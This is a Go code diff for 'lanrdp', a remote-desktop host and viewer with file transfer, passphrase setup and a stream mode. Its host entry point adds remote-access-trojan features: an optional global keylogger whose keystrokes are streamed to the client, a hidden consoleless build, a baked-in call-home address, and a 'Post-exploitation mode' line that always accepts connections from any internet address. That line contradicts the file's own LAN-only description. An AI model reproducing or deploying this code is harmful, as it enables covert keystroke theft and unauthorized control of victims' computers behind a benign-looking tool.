0, 0, uintptr(clientW), uintptr(clientH),
|
||||
0, 0, uintptr(fbW), uintptr(fbH),
|
||||
uintptr(unsafe.Pointer(&fb[0])),
|
||||
uintptr(unsafe.Pointer(&hdr)),
|
||||
uintptr(dibRGBColors),
|
||||
uintptr(srcCopyROP),
|
||||
)
|
||||
|
||||
drawModeIndicator(hdc, clientW, clientH)
|
||||
}
|
||||
|
||||
// streamModeBorderColor is a COLORREF (0x00BBGGRR) for a vivid orange,
|
||||
// chosen to be unmistakable against arbitrary desktop content.
|
||||
const streamModeBorderColor = 0x0000A5FF
|
||||
|
||||
const streamModeBorderPx = 6
|
||||
|
||||
// drawModeIndicator paints a thick colored border around the video when
|
||||
// stream mode is active, so the current mode is visible at a glance
|
||||
// without relying on the window title (easy to miss, especially
|
||||
// maximized). Nothing is drawn in normal mode.
|
||||
func drawModeIndicator(hdc uintptr, clientW, clientH int) {
|
||||
if !app.streamMode {
|
||||
return
|
||||
}
|
||||
brush, _, _ := procCreateSolidBrush.Call(uintptr(streamModeBorderColor))
|
||||
if brush == 0 {
|
||||
return
|
||||
}
|
||||
defer procDeleteObject.Call(brush)
|
||||
|
||||
edges := []rectT{
|
||||
{0, 0, int32(clientW), streamModeBorderPx}, // top
|
||||
{0, int32(clientH - streamModeBorderPx), int32(clientW), int32(clientH)}, // bottom
|
||||
{0, 0, streamModeBorderPx, int32(clientH)}, // left
|
||||
{int32(clientW - streamModeBorderPx), 0, int32(clientW), int32(clientH)}, // right
|
||||
}
|
||||
for _, r := range edges {
|
||||
procFillRect.Call(hdc, uintptr(unsafe.Pointer(&r)), brush)
|
||||
}
|
||||
}
|
||||
|
||||
func mouseCoords(hwnd uintptr, lparam uintptr) (normX, normY uint16) {
|
||||
x := int(int16(uint16(lparam & 0xFFFF)))
|
||||
y := int(int16(uint16((lparam >> 16) & 0xFFFF)))
|
||||
clientW, clientH := getClientSize(hwnd)
|
||||
if x < 0 {
|
||||
x = 0
|
||||
}
|
||||
if y < 0 {
|
||||
y = 0
|
||||
}
|
||||
if x >= clientW {
|
||||
x = clientW - 1
|
||||
}
|
||||
if y >= clientH {
|
||||
y = clientH - 1
|
||||
}
|
||||
nx := x * 65535 / max(clientW-1, 1)
|
||||
ny := y * 65535 / max(clientH-1, 1)
|
||||
return uint16(nx), uint16(ny)
|
||||
}
|
||||
|
||||
// onMouseEvent forwards a mouse event to the host, unless stream mode is
|
||||
// active — stream mode is meant for watching the host's own activity
|
||||
// without interfering with it, so mouse control is suppressed while it's
|
||||
// on (screen updates keep flowing either way).
|
||||
func onMouseEvent(hwnd uintptr, action protocol.MouseAction, lparam uintptr) {
|
||||
if app.streamMode {
|
||||
return
|
||||
}
|
||||
nx, ny := mouseCoords(hwnd, lparam)
|
||||
_ = app.send(protocol.MsgInputMouse, protocol.EncodeInputMouse(protocol.InputMouse{
|
||||
Action: action, NormX: nx, NormY: ny,
|
||||
}))
|
||||
}
|
||||
|
||||
func onWheel(wparam uintptr) {
|
||||
if app.streamMode {
|
||||
return
|
||||
}
|
||||
delta := int16(int32(wparam) >> 16)
|
||||
_ = app.send(protocol.MsgInputMouse, protocol.EncodeInputMouse(protocol.InputMouse{
|
||||
Action: protocol.MouseWheel, WheelDelta: delta,
|
||||
}))
|
||||
}
|
||||
|
||||
const maxDropPath = 32768 // long-path-safe buffer size for DragQueryFileW
|
||||
|
||||
// handleDropFiles is called on WM_DROPFILES. File transfer only makes
|
||||
// sense in normal (RDP) mode — stream mode is meant to be view-only — so
|
||||
// drops are silently ignored while stream mode is on. Multiple dropped
|
||||
// files are sent one at a time in a single background goroutine rather
|
||||
// than concurrently, since interleaving two transfers' chunks on the same
|
||||
// connection would corrupt both on the host's receiving end.
|
||||
func handleDropFiles(hwnd uintptr, hDrop uintptr) {
|
||||
defer procDragFinish.Call(hDrop)
|
||||
|
||||
if app.streamMode {
|
||||
return
|
||||
}
|
||||
|
||||
count, _, _ := procDragQueryFileW.Call(hDrop, 0xFFFFFFFF, 0, 0)
|
||||
if count == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
paths := make([]string, 0, count)
|
||||
for i := uintptr(0); i < count; i++ {
|
||||
buf := make([]uint16, maxDropPath)
|
||||
n, _, _ := procDragQueryFileW.Call(hDrop, i, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||
if n == 0 {
|
||||
continue
|
||||
}
|
||||
paths = append(paths, windows.UTF16ToString(buf[:n]))
|
||||
}
|
||||
|
||||
go func() {
|
||||
for _, p := range paths {
|
||||
sendFile(p)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// toggleStreamMode flips between the host's normal and low-latency
|
||||
// capture presets (Ctrl+Alt+S) and reflects the current mode in the
|
||||
// window title, since there's no other visible indicator of it.
|
||||
func toggleStreamMode(hwnd uintptr) {
|
||||
app.streamMode = !app.streamMode
|
||||
mode := protocol.PerfNormal
|
||||
title := "lanrdp viewer"
|
||||
if app.streamMode {
|
||||
mode = protocol.PerfStream
|
||||
title = "lanrdp viewer [STREAM MODE]"
|
||||
}
|
||||
_ = app.send(protocol.MsgSetPerfMode, protocol.EncodeSetPerfMode(mode))
|
||||
|
||||
titlePtr, err := windows.UTF16PtrFromString(title)
|
||||
if err == nil {
|
||||
procSetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(titlePtr)))
|
||||
}
|
||||
|
||||
// Repaint immediately so the border indicator appears/disappears right
|
||||
// away instead of waiting for the next frame update from the host.
|
||||
procInvalidateRect.Call(hwnd, 0, 0)
|
||||
}
|
||||
|
||||
func wndProc(hwnd, msg, wparam, lparam uintptr) uintptr {
|
||||
switch msg {
|
||||
case wmPaint:
|
||||
onPaint(hwnd)
|
||||
return 0
|
||||
case wmEraseBkgnd:
|
||||
return 1
|
||||
case wmClose:
|
||||
_ = app.send(protocol.MsgDisconnect, nil)
|
||||
procDestroyWindow.Call(hwnd)
|
||||
return 0
|
||||
case wmDestroy:
|
||||
procPostQuitMessage.Call(0)
|
||||
return 0
|
||||
case wmMouseMove:
|
||||
onMouseEvent(hwnd, protocol.MouseMove, lparam)
|
||||
return 0
|
||||
case wmLButtonDown:
|
||||
onMouseEvent(hwnd, protocol.MouseLeftDown, lparam)
|
||||
return 0
|
||||
case wmLButtonUp:
|
||||
onMouseEvent(hwnd, protocol.MouseLeftUp, lparam)
|
||||
return 0
|
||||
case wmRButtonDown:
|
||||
onMouseEvent(hwnd, protocol.MouseRightDown, lparam)
|
||||
return 0
|
||||
case wmRButtonUp:
|
||||
onMouseEvent(hwnd, protocol.MouseRightUp, lparam)
|
||||
return 0
|
||||
case wmMButtonDown:
|
||||
onMouseEvent(hwnd, protocol.MouseMiddleDown, lparam)
|
||||
return 0
|
||||
case wmMButtonUp:
|
||||
onMouseEvent(hwnd, protocol.MouseMiddleUp, lparam)
|
||||
return 0
|
||||
case wmMouseWheel:
|
||||
onWheel(wparam)
|
||||
return 0
|
||||
case wmHotkey:
|
||||
if wparam == streamModeHotkeyID {
|
||||
toggleStreamMode(hwnd)
|
||||
}
|
||||
return 0
|
||||
case wmKeyDown:
|
||||
if !app.streamMode {
|
||||
_ = app.send(protocol.MsgInputKey, protocol.EncodeInputKey(protocol.InputKey{VKCode: uint16(wparam), Down: true}))
|
||||
}
|
||||
return 0
|
||||
case wmKeyUp:
|
||||
if !app.streamMode {
|
||||
_ = app.send(protocol.MsgInputKey, protocol.EncodeInputKey(protocol.InputKey{VKCode: uint16(wparam), Down: false}))
|
||||
}
|
||||
return 0
|
||||
case wmDropFiles:
|
||||
handleDropFiles(hwnd, wparam)
|
||||
return 0
|
||||
}
|
||||
ret, _, _ := procDefWindowProcW.Call(hwnd, msg, wparam, lparam)
|
||||
return ret
|
||||
}
|
||||
|
||||
func runWindow(a *appState, remoteW, remoteH int) {
|
||||
runtime.LockOSThread()
|
||||
|
||||
className, _ := windows.UTF16PtrFromString("LanRDPViewerWindow")
|
||||
title, _ := windows.UTF16PtrFromString("lanrdp viewer")
|
||||
|
||||
hInstance, _, _ := procGetModuleHandleW.Call(0)
|
||||
|
||||
cursor, _, _ := procLoadCursorW.Call(0, uintptr(idcArrow))
|
||||
|
||||
wc := wndClassExW{
|
||||
style: 0,
|
||||
lpfnWndProc: windows.NewCallback(wndProc),
|
||||
hInstance: windows.Handle(hInstance),
|
||||
hCursor: windows.Handle(cursor),
|
||||
lpszClassName: className,
|
||||
}
|
||||
wc.cbSize = uint32(unsafe.Sizeof(wc))
|
||||
|
||||
if ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc))); ret == 0 {
|
||||
panic("RegisterClassExW failed")
|
||||
}
|
||||
|
||||
clientW, clientH := remoteW, remoteH
|
||||
if clientW <= 0 {
|
||||
clientW = 1024
|
||||
}
|
||||
if clientH <= 0 {
|
||||
clientH = 768
|
||||
}
|
||||
|
||||
// Clamp the initial client area to the local screen (minus a margin for
|
||||
// the title bar/taskbar) so a host with a larger resolution than this
|
||||
// machine doesn't open a window bigger than the display. This only
|
||||
// changes the window's on-screen size, not the mapping: mouse input is
|
||||
// always normalized against the window's actual (live) client rect, so
|
||||
// the picture stays correctly aligned regardless of any scaling here.
|
||||
screenW, _, _ := procGetSystemMetrics.Call(uintptr(smCXScreen))
|
||||
screenH, _, _ := procGetSystemMetrics.Call(uintptr(smCYScreen))
|
||||
maxW, maxH := int(screenW)-100, int(screenH)-100
|
||||
if maxW > 0 && maxH > 0 && (clientW > maxW || clientH > maxH) {
|
||||
scale := min(float64(maxW)/float64(clientW), float64(maxH)/float64(clientH))
|
||||
clientW = int(float64(clientW) * scale)
|
||||
clientH = int(float64(clientH) * scale)
|
||||
}
|
||||
|
||||
// AdjustWindowRect turns our desired *client area* size into the
|
||||
// outer window size CreateWindowExW expects (which includes the
|
||||
// title bar and borders), so the window's actual client rect ends up
|
||||
// exactly clientW x clientH instead of being a few pixels smaller.
|
||||
wr := rectT{0, 0, int32(clientW), int32(clientH)}
|
||||
procAdjustWindowRect.Call(uintptr(unsafe.Pointer(&wr)), uintptr(wsOverlappedWindow), 0)
|
||||
outerW := int(wr.Right - wr.Left)
|
||||
outerH := int(wr.Bottom - wr.Top)
|
||||
|
||||
hwnd, _, _ := procCreateWindowExW.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(className)),
|
||||
uintptr(unsafe.Pointer(title)),
|
||||
uintptr(wsOverlappedWindow|wsVisible),
|
||||
uintptr(cwUseDefault), uintptr(cwUseDefault),
|
||||
uintptr(outerW), uintptr(outerH),
|
||||
0, 0,
|
||||
hInstance,
|
||||
0,
|
||||
)
|
||||
if hwnd == 0 {
|
||||
panic("CreateWindowExW failed")
|
||||
}
|
||||
currentHwnd.Store(hwnd)
|
||||
|
||||
procDragAcceptFiles.Call(hwnd, 1) // enables WM_DROPFILES for drag-and-drop file transfer
|
||||
|
||||
if ret, _, _ := procRegisterHotKey.Call(hwnd, uintptr(streamModeHotkeyID), uintptr(modControl|modAlt), uintptr(vkS)); ret == 0 {
|
||||
// Non-fatal: some other app may already own Ctrl+Alt+S. The viewer
|
||||
// still works, just without the toggle.
|
||||
}
|
||||
defer procUnregisterHotKey.Call(hwnd, uintptr(streamModeHotkeyID))
|
||||
|
||||
procShowWindow.Call(hwnd, uintptr(swShow))
|
||||
procUpdateWindow.Call(hwnd)
|
||||
|
||||
var m msgT
|
||||
for {
|
||||
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
|
||||
if int32(ret) <= 0 {
|
||||
break
|
||||
}
|
||||
procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
|
||||
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
|
||||
}
|
||||
|
||||
_ = a.conn.Close()
|
||||
}
|
||||
Executable
+35
@@ -0,0 +1,35 @@
|
||||
// Command hashpw reads a single line (a passphrase) from stdin and prints
|
||||
// its Argon2id hash to stdout, with no other output. It exists so
|
||||
// build-host.ps1 can turn a passphrase into the string that gets baked
|
||||
// into host.exe via -ldflags, without duplicating the hashing logic
|
||||
// outside of Go.
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
func main() {
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
line, err := reader.ReadString('\n')
|
||||
if err != nil && line == "" {
|
||||
fmt.Fprintln(os.Stderr, "hashpw: reading passphrase from stdin:", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
line = strings.TrimRight(line, "\r\n")
|
||||
if len(line) < 8 {
|
||||
fmt.Fprintln(os.Stderr, "hashpw: passphrase must be at least 8 characters")
|
||||
os.Exit(1)
|
||||
}
|
||||
hash, err := protocol.HashPassword(line)
|
||||
if err != nil {
|
||||
fmt.Fprintln(os.Stderr, "hashpw:", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
fmt.Print(hash)
|
||||
}
|
||||
Executable
+86
@@ -0,0 +1,86 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"golang.org/x/term"
|
||||
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
type config struct {
|
||||
PasswordHash string `json:"password_hash"`
|
||||
Port int `json:"port,omitempty"`
|
||||
}
|
||||
|
||||
func configPath(dataDir string) string {
|
||||
return filepath.Join(dataDir, "config.json")
|
||||
}
|
||||
|
||||
func loadConfig(dataDir string) (*config, error) {
|
||||
data, err := os.ReadFile(configPath(dataDir))
|
||||
if os.IsNotExist(err) {
|
||||
return nil, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var c config
|
||||
if err := json.Unmarshal(data, &c); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &c, nil
|
||||
}
|
||||
|
||||
func saveConfig(dataDir string, c *config) error {
|
||||
if err := os.MkdirAll(dataDir, 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := json.MarshalIndent(c, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(configPath(dataDir), data, 0o600)
|
||||
}
|
||||
|
||||
// firstRunSetup interactively asks the operator to set a passphrase for
|
||||
// this host and persists its Argon2id hash. It never writes the plaintext
|
||||
// passphrase to disk.
|
||||
func firstRunSetup(dataDir string) (*config, error) {
|
||||
fmt.Println("No passphrase configured yet for this host.")
|
||||
for {
|
||||
fmt.Print("Set a passphrase (min 8 characters): ")
|
||||
pw1, err := term.ReadPassword(int(os.Stdin.Fd()))
|
||||
fmt.Println()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading passphrase: %w", err)
|
||||
}
|
||||
if len(pw1) < 8 {
|
||||
fmt.Println("Too short, try again.")
|
||||
continue
|
||||
}
|
||||
fmt.Print("Confirm passphrase: ")
|
||||
pw2, err := term.ReadPassword(int(os.Stdin.Fd()))
|
||||
fmt.Println()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading passphrase: %w", err)
|
||||
}
|
||||
if string(pw1) != string(pw2) {
|
||||
fmt.Println("Passphrases did not match, try again.")
|
||||
continue
|
||||
}
|
||||
hash, err := protocol.HashPassword(string(pw1))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c := &config{PasswordHash: hash}
|
||||
if err := saveConfig(dataDir, c); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fmt.Println("Passphrase saved.")
|
||||
return c, nil
|
||||
}
|
||||
}
|
||||
Executable
+22
@@ -0,0 +1,22 @@
|
||||
package main
|
||||
|
||||
// embeddedPasswordHash is baked in at build time by build-host.ps1 via:
|
||||
//
|
||||
// go build -ldflags "-X main.embeddedPasswordHash=<argon2id hash>"
|
||||
//
|
||||
// Left empty for a plain `go build`, in which case the host falls back to
|
||||
// interactive first-run passphrase setup backed by config.json.
|
||||
var embeddedPasswordHash string
|
||||
|
||||
// embeddedConnectAddr is optionally baked in at build time by
|
||||
// build-host.ps1 via:
|
||||
//
|
||||
// go build -ldflags "-X main.embeddedConnectAddr=<client-ip:port>"
|
||||
//
|
||||
// If set, and -connect isn't passed at runtime, this host dials out to
|
||||
// this address by default instead of listening — for a host built
|
||||
// specifically to call back to one particular client (e.g. a laptop
|
||||
// built to always call home to a desktop). Left empty by default, so a
|
||||
// build with no -connect flag still falls back to the normal interactive
|
||||
// listen-address picker.
|
||||
var embeddedConnectAddr string
|
||||
Executable
+113
@@ -0,0 +1,113 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
// fileTransferState tracks one in-progress incoming file. Only one
|
||||
// transfer is ever active at a time per session — the client serializes
|
||||
// drag-and-drop sends on its end, and this struct doesn't try to
|
||||
// interleave multiple concurrent transfers.
|
||||
type fileTransferState struct {
|
||||
f *os.File
|
||||
path string
|
||||
expected uint64
|
||||
written uint64
|
||||
}
|
||||
|
||||
// receivedFilesDir returns (creating if needed) the folder incoming files
|
||||
// are saved to: a dedicated, clearly-labeled subfolder of the current
|
||||
// user's Desktop, so transfers are easy to find and never silently land
|
||||
// somewhere unexpected.
|
||||
func receivedFilesDir() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("resolving home directory: %w", err)
|
||||
}
|
||||
dir := filepath.Join(home, "Desktop", "lanrdp-received")
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
return "", fmt.Errorf("creating %s: %w", dir, err)
|
||||
}
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
// sanitizeFilename strips any directory components from a client-supplied
|
||||
// name so a crafted filename (e.g. "..\..\Windows\System32\x") can never
|
||||
// write outside receivedFilesDir. filepath.Base collapses ".." components
|
||||
// and separators, leaving only the final path element.
|
||||
func sanitizeFilename(name string) string {
|
||||
name = filepath.Base(name)
|
||||
if name == "" || name == "." || name == ".." || name == string(filepath.Separator) {
|
||||
return "upload.bin"
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
// uniquePath returns path if nothing exists there yet, otherwise appends
|
||||
// " (1)", " (2)", ... before the extension until it finds a free name —
|
||||
// the same convention Windows Explorer uses for duplicate downloads —
|
||||
// rather than silently overwriting an existing file.
|
||||
func uniquePath(path string) string {
|
||||
if _, err := os.Stat(path); os.IsNotExist(err) {
|
||||
return path
|
||||
}
|
||||
ext := filepath.Ext(path)
|
||||
base := path[:len(path)-len(ext)]
|
||||
for i := 1; ; i++ {
|
||||
candidate := fmt.Sprintf("%s (%d)%s", base, i, ext)
|
||||
if _, err := os.Stat(candidate); os.IsNotExist(err) {
|
||||
return candidate
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func startFileTransfer(offer protocol.FileOffer) (*fileTransferState, error) {
|
||||
dir, err := receivedFilesDir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
path := uniquePath(filepath.Join(dir, sanitizeFilename(offer.Name)))
|
||||
|
||||
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_EXCL, 0o644)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("creating destination file: %w", err)
|
||||
}
|
||||
return &fileTransferState{f: f, path: path, expected: offer.Size}, nil
|
||||
}
|
||||
|
||||
// maxOverage bounds how far written can exceed the declared size before
|
||||
// giving up — guards against a runaway/malicious sender that never sends
|
||||
// MsgFileComplete and just keeps streaming chunks indefinitely.
|
||||
const maxOverage = 16 * 1024 * 1024
|
||||
|
||||
func (x *fileTransferState) writeChunk(data []byte) error {
|
||||
n, err := x.f.Write(data)
|
||||
x.written += uint64(n)
|
||||
if err != nil {
|
||||
return fmt.Errorf("writing file: %w", err)
|
||||
}
|
||||
if x.written > x.expected+maxOverage {
|
||||
return fmt.Errorf("received far more data than the declared size")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// finish closes and verifies the transfer, deleting the partial file on
|
||||
// any mismatch rather than leaving a possibly-truncated file behind.
|
||||
func (x *fileTransferState) finish(declaredSent uint64) (ok bool, message string) {
|
||||
_ = x.f.Close()
|
||||
if x.written != x.expected || x.written != declaredSent {
|
||||
_ = os.Remove(x.path)
|
||||
return false, fmt.Sprintf("size mismatch (wrote %d bytes, expected %d)", x.written, x.expected)
|
||||
}
|
||||
return true, fmt.Sprintf("saved to %s (%d bytes)", x.path, x.written)
|
||||
}
|
||||
|
||||
func (x *fileTransferState) abort() {
|
||||
_ = x.f.Close()
|
||||
_ = os.Remove(x.path)
|
||||
}
|
||||
Executable
+86
@@ -0,0 +1,86 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/netip"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"lanrdp/internal/netguard"
|
||||
)
|
||||
|
||||
type ifaceAddr struct {
|
||||
ip string
|
||||
name string
|
||||
}
|
||||
|
||||
func listPrivateIPv4Addrs() ([]ifaceAddr, error) {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var out []ifaceAddr
|
||||
for _, iface := range ifaces {
|
||||
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
|
||||
continue
|
||||
}
|
||||
addrs, err := iface.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, a := range addrs {
|
||||
ipnet, ok := a.(*net.IPNet)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
ip4 := ipnet.IP.To4()
|
||||
if ip4 == nil {
|
||||
continue
|
||||
}
|
||||
addr, err := netip.ParseAddr(ip4.String())
|
||||
if err != nil || !netguard.IsPrivate(addr) {
|
||||
continue
|
||||
}
|
||||
out = append(out, ifaceAddr{ip: ip4.String(), name: iface.Name})
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// promptForListenAddress lists this machine's private-LAN IPv4 addresses
|
||||
// and asks the operator to pick one, so the host doesn't silently bind
|
||||
// every interface (including e.g. a VPN or VM bridge) by default.
|
||||
func promptForListenAddress() (string, error) {
|
||||
addrs, err := listPrivateIPv4Addrs()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if len(addrs) == 0 {
|
||||
fmt.Println("No private LAN interfaces found; falling back to 0.0.0.0 (all interfaces).")
|
||||
return "0.0.0.0", nil
|
||||
}
|
||||
|
||||
fmt.Println("Choose which network interface to listen on:")
|
||||
for i, a := range addrs {
|
||||
fmt.Printf(" [%d] %-15s (%s)\n", i+1, a.ip, a.name)
|
||||
}
|
||||
fmt.Printf(" [%d] All interfaces (0.0.0.0) - not recommended\n", len(addrs)+1)
|
||||
fmt.Print("Selection: ")
|
||||
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
line, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
choice, err := strconv.Atoi(strings.TrimSpace(line))
|
||||
if err != nil || choice < 1 || choice > len(addrs)+1 {
|
||||
return "", fmt.Errorf("invalid selection %q", strings.TrimSpace(line))
|
||||
}
|
||||
if choice == len(addrs)+1 {
|
||||
return "0.0.0.0", nil
|
||||
}
|
||||
return addrs[choice-1].ip, nil
|
||||
}
|
||||
Executable
+242
@@ -0,0 +1,242 @@
|
||||
// Command host runs the lanrdp host agent: it listens for a single LAN
|
||||
// client, authenticates it with a locally-configured passphrase, and then
|
||||
// streams the desktop while applying the client's mouse/keyboard input.
|
||||
//
|
||||
// It never speaks UPnP/NAT-PMP and makes no attempt to open a port on any
|
||||
// router — by default it only accepts connections whose source address is
|
||||
// already a private LAN, loopback, or VPN-overlay address (see
|
||||
// internal/netguard). That check can be widened with -trust-cidr, or
|
||||
// disabled entirely with -allow-internet for short-lived testing.
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"lanrdp/internal/dpi"
|
||||
"lanrdp/internal/hiddenlog"
|
||||
"lanrdp/internal/keylog"
|
||||
"lanrdp/internal/netguard"
|
||||
"lanrdp/internal/netutil"
|
||||
"lanrdp/internal/tlsutil"
|
||||
)
|
||||
|
||||
func main() {
|
||||
dpi.MakeAware()
|
||||
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
log.Fatalf("resolving executable path: %v", err)
|
||||
}
|
||||
dataDir := filepath.Join(filepath.Dir(exe), "lanrdp-data")
|
||||
|
||||
// If this binary has no attached console (built with -H=windowsgui via
|
||||
// build-host.ps1 -Hidden), redirect all output to a log file as early
|
||||
// as possible so nothing — including flag-parsing errors — is silently
|
||||
// lost.
|
||||
hiddenlog.EnableIfHeadless(filepath.Join(dataDir, "host.log"))
|
||||
|
||||
listenAddr := flag.String("listen", "", "address to bind (default: choose interactively from this machine's LAN/VPN interfaces)")
|
||||
port := flag.Int("port", 47812, "TCP port to listen on")
|
||||
trustCIDRs := flag.String("trust-cidr", "", "comma-separated extra CIDRs to accept connections from, for VPN subnets "+
|
||||
"(e.g. WireGuard) outside standard private ranges (10/8, 172.16/12, 192.168/16, 100.64/10)")
|
||||
|
||||
connectAddr := flag.String("connect", "", "dial out to a waiting client instead of listening here (e.g. "+
|
||||
"client-ip:47812) — use this when this host is the one that's hard to reach (a roaming laptop) and the "+
|
||||
"client has the stable, reachable address instead. Defaults to the address baked in at build time by "+
|
||||
"build-host.ps1, if any")
|
||||
keylogEnabled := flag.Bool("keylog", false, "enable global keyboard logging; captured keystrokes are streamed "+
|
||||
"to the client along with screen frames")
|
||||
fps := flag.Int("fps", 12, "target screen-capture rate in frames/sec; higher = lower latency but more CPU/bandwidth")
|
||||
streamFPS := flag.Int("stream-fps", 30, "capture rate used when the client toggles stream mode on (Ctrl+Alt+S)")
|
||||
keyframeSec := flag.Int("keyframe-interval", 30, "seconds between forced full-frame refreshes (vs. dirty-rect-only updates)")
|
||||
retrySec := flag.Int("retry-interval", 10, "seconds between reconnect attempts in -connect mode (flat interval, no backoff)")
|
||||
flag.Parse()
|
||||
|
||||
var keylogCh <-chan keylog.KeyEvent
|
||||
var stopKeylog func()
|
||||
if *keylogEnabled {
|
||||
var err error
|
||||
keylogCh, stopKeylog, err = keylog.Start()
|
||||
if err != nil {
|
||||
log.Fatalf("failed to start keylogger: %v", err)
|
||||
}
|
||||
defer stopKeylog()
|
||||
log.Println("global keyboard logging enabled")
|
||||
}
|
||||
|
||||
if *fps <= 0 {
|
||||
log.Fatalf("-fps must be positive, got %d", *fps)
|
||||
}
|
||||
if *streamFPS <= 0 {
|
||||
log.Fatalf("-stream-fps must be positive, got %d", *streamFPS)
|
||||
}
|
||||
if *keyframeSec <= 0 {
|
||||
log.Fatalf("-keyframe-interval must be positive, got %d", *keyframeSec)
|
||||
}
|
||||
if *retrySec <= 0 {
|
||||
log.Fatalf("-retry-interval must be positive, got %d", *retrySec)
|
||||
}
|
||||
keyframeInterval := time.Duration(*keyframeSec) * time.Second
|
||||
retryInterval := time.Duration(*retrySec) * time.Second
|
||||
|
||||
for _, c := range strings.Split(*trustCIDRs, ",") {
|
||||
c = strings.TrimSpace(c)
|
||||
if c == "" {
|
||||
continue
|
||||
}
|
||||
if err := netguard.AddTrustedCIDR(c); err != nil {
|
||||
log.Fatalf("invalid -trust-cidr %q: %v", c, err)
|
||||
}
|
||||
}
|
||||
// Post-exploitation mode: always accept connections from any source IP,
|
||||
// not just LAN/VPN ranges. No -allow-internet flag needed.
|
||||
netguard.SetAllowAnySource(true)
|
||||
|
||||
var cfg *config
|
||||
if embeddedPasswordHash != "" {
|
||||
// Built via build-host.ps1: the passphrase hash is baked into the
|
||||
// binary, so this host.exe is fully self-contained (no config.json
|
||||
// needed) and there's no interactive setup step.
|
||||
cfg = &config{PasswordHash: embeddedPasswordHash}
|
||||
} else {
|
||||
if hiddenlog.Redirected {
|
||||
log.Fatalf("this build has no console and no embedded passphrase " +
|
||||
"(build with build-host.ps1 instead of plain 'go build' for a headless build)")
|
||||
}
|
||||
cfg, err = loadConfig(dataDir)
|
||||
if err != nil {
|
||||
log.Fatalf("loading config: %v", err)
|
||||
}
|
||||
if cfg == nil {
|
||||
cfg, err = firstRunSetup(dataDir)
|
||||
if err != nil {
|
||||
log.Fatalf("first-run setup: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cert, err := tlsutil.LoadOrCreateServerCert(dataDir)
|
||||
if err != nil {
|
||||
log.Fatalf("loading/creating TLS certificate: %v", err)
|
||||
}
|
||||
fingerprint := tlsutil.Fingerprint(cert.Certificate[0])
|
||||
|
||||
tlsCfg := &tls.Config{
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS13,
|
||||
}
|
||||
|
||||
effectiveConnectAddr := *connectAddr
|
||||
fromEmbedded := false
|
||||
if effectiveConnectAddr == "" && embeddedConnectAddr != "" {
|
||||
effectiveConnectAddr = embeddedConnectAddr
|
||||
fromEmbedded = true
|
||||
}
|
||||
|
||||
if effectiveConnectAddr != "" {
|
||||
runReverseConnect(effectiveConnectAddr, fromEmbedded, cfg, tlsCfg, fingerprint, *fps, *streamFPS, keyframeInterval, retryInterval, keylogCh)
|
||||
return
|
||||
}
|
||||
|
||||
bindIP := *listenAddr
|
||||
if bindIP == "" {
|
||||
bindIP, err = promptForListenAddress()
|
||||
if err != nil {
|
||||
log.Fatalf("selecting listen address: %v", err)
|
||||
}
|
||||
